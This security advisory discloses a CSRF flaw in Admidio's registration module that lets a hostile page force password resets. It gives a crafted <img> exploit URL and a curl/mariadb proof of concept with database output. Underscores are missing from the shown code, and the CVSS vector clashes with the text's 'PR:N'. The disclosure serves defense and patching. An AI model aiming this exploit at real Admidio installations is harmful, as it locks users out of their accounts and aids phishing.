PT-2026-45038 · Packagist · Admidio/Admidio

Published

2026-05-29

·

Updated

2026-05-29

·

CVE-2026-47228

CVSS v3.1

5.2

Medium

VectorAV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L

Summary

modules/registration.php mode send login regenerates a random password for user uuid assigned, stores its bcrypt hash in adm users.usr password, and emails the cleartext to that user. Every other state-changing mode in the same file (assign member, assign user, delete user, create user) calls SecurityUtils::validateCsrfToken($ POST['adm csrf token']) first; the send login branch does not. A page visited by a registration-administrator can issue the request as a top-level navigation, the browser sends the admin's SameSite=Lax cookies, and the server resets the chosen user's password without any further interaction from the admin.

Details

Vulnerable Code

modules/registration.php:124-138:
} elseif ($getMode === 'send login') {
  // User already exists and has a login than sent access data with a new password
  $user = new User($gDb, $gProfileFields);
  $user->readDataByUuid($getUserUUIDAssigned);
  $user->sendNewPassword();

  // delete the registration because it isn't necessary anymore
  $registrationUser->notSendEmail();
  $registrationUser->delete();
  admRedirect(ADMIDIO URL.FOLDER MODULES.'/registration.php');
  // => EXIT
}
The four sibling branches all begin with SecurityUtils::validateCsrfToken($ POST['adm csrf token']); — for example delete user at lines 110-118:
} elseif ($getMode === 'delete user') {
  // check the CSRF token of the form against the session token
  SecurityUtils::validateCsrfToken($ POST['adm csrf token']);

  // delete registration
  $registrationUser->delete();
  echo json encode(array('status' => 'success'));
  exit();
}
User::sendNewPassword() (src/User/Entity/User.php) calls setPassword(PasswordUtils::generatePassword()) and persists the new hash before the email is queued; the password change happens unconditionally regardless of whether the e-mail send succeeds. This means even when the operator's SMTP is unconfigured, the victim's password is still reset.
The handler accepts GET (no enforcement of HTTP method, no $ POST requirement), so an <img src=...> or auto-submitting form is sufficient.

Exploitation Flow

  1. Attacker prepares a "pending registration" row anywhere they can — either by registering a self-controlled user account (the public registration flow creates these), or by waiting for an existing pending registration to be reachable.
  2. Attacker hosts a page that issues: <img src="https://victim.example/admidio/modules/registration.php?mode=send login&user uuid={pending registration uuid}&user uuid assigned={victim user uuid}">
  3. A registration-administrator (someone with isAdministratorRegistration() — usually the org admin) visits the page while logged in to Admidio. The browser sends their session cookie (Admidio's session cookie does not set SameSite=Strict).
  4. Admidio's handler runs as that admin. It loads the assigned user, calls User::sendNewPassword() which writes a fresh bcrypt hash to adm users.usr password, and queues the cleartext password to be e-mailed to the user.
  5. The victim user's old password no longer works.
The cleartext lands in the victim's mailbox, not the attacker's, so the attacker does not get the password directly. The primary impact is therefore forced password reset (account lock-out / DoS for the victim) plus an information-disclosure side effect: the victim now has a password they did not request, and may be socially-engineered into believing the e-mail.

PoC

Tested locally against HEAD c5cde53. The reproducer confirms the password column changes server-side without any user interaction beyond an admin's GET to the crafted URL.
# 0. observe current admin password hash (the testadmin from install)
mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio 
  -e "SELECT usr id, usr login name, LEFT(usr password, 12) AS pwd FROM adm users WHERE usr id IN (2, 7);"
usr id usr login name pwd
2    testadmin    $2y$12$AB.h
7    victim     $2y$12$L9q3

# 1. attacker creates a pending registration with user uuid pointing at "victim"
mariadb ... admidio -e "INSERT INTO adm registrations (reg org id, reg usr id, reg timestamp)
            VALUES (1, 7, NOW());"
# (the pending row gives the request a valid user uuid for $registrationUser->delete())

# 2. crafted CSRF endpoint, hit from a third-party page in the admin's browser:
#  no adm csrf token, GET only
curl -b $admin cookie 
  "http://127.0.0.1:8085/modules/registration.php?mode=send login&user uuid=$pending uuid&user uuid assigned=<victim uuid>"

# 3. observe the victim's password hash has changed
mariadb ... admidio 
  -e "SELECT usr id, usr login name, LEFT(usr password, 12) AS pwd FROM adm users WHERE usr id=7;"
usr id usr login name pwd
7    victim     $2y$12$w5lQ
The hash before the attack was $2y$12$L9q3...; after the attack it is $2y$12$w5lQ.... The victim's previously-known password no longer authenticates them.
The same call against user uuid assigned=<admin's uuid> resets the admin's own password — locking out the registration-administrator from their own account.

Impact

A registration-administrator who visits a hostile page is silently coerced into resetting any user's password.
  • Account lockout / DoS. The victim user (which can be the admin themselves, or any other user with a registration row routed through this admin) loses access; their stored password is replaced with a server-generated one that only lands in the victim's mailbox.
  • Phish-flavoured social engineering. The unsolicited "your new Admidio password is …" e-mail is a credible-looking message that the attacker can pair with a phishing site to harvest the new password.
  • Self-targetable. Because the attacker also controls the public self-registration flow, they can reliably create a pending registration row whose user uuid assigned points at any chosen victim.
UI:R reflects that an admin must visit a page; PR:N because the attacker needs no Admidio credentials; I:H because user authentication state is destroyed; A:L because the affected user is locked out of an account but the platform stays up.

Recommended Fix

Add a CSRF check at the top of the branch and require POST:
} elseif ($getMode === 'send login') {
  // check the CSRF token of the form against the session token
  SecurityUtils::validateCsrfToken($ POST['adm csrf token']);

  if ($ SERVER['REQUEST METHOD'] !== 'POST') {
    throw new Exception('SYS INVALID PAGE VIEW');
  }

  $user = new User($gDb, $gProfileFields);
  $user->readDataByUuid($getUserUUIDAssigned);
  $user->sendNewPassword();
  ...
}
A regression test should issue GET /modules/registration.php?mode=send login&... from a session that has no current page (no in-session form key) and assert that usr password is unchanged.

Fix

CSRF

Weakness Enumeration

CWE-352

Related Identifiers

CVE-2026-47228
GHSA-MX25-J3RC-6W2W

Affected Products

Admidio/Admidio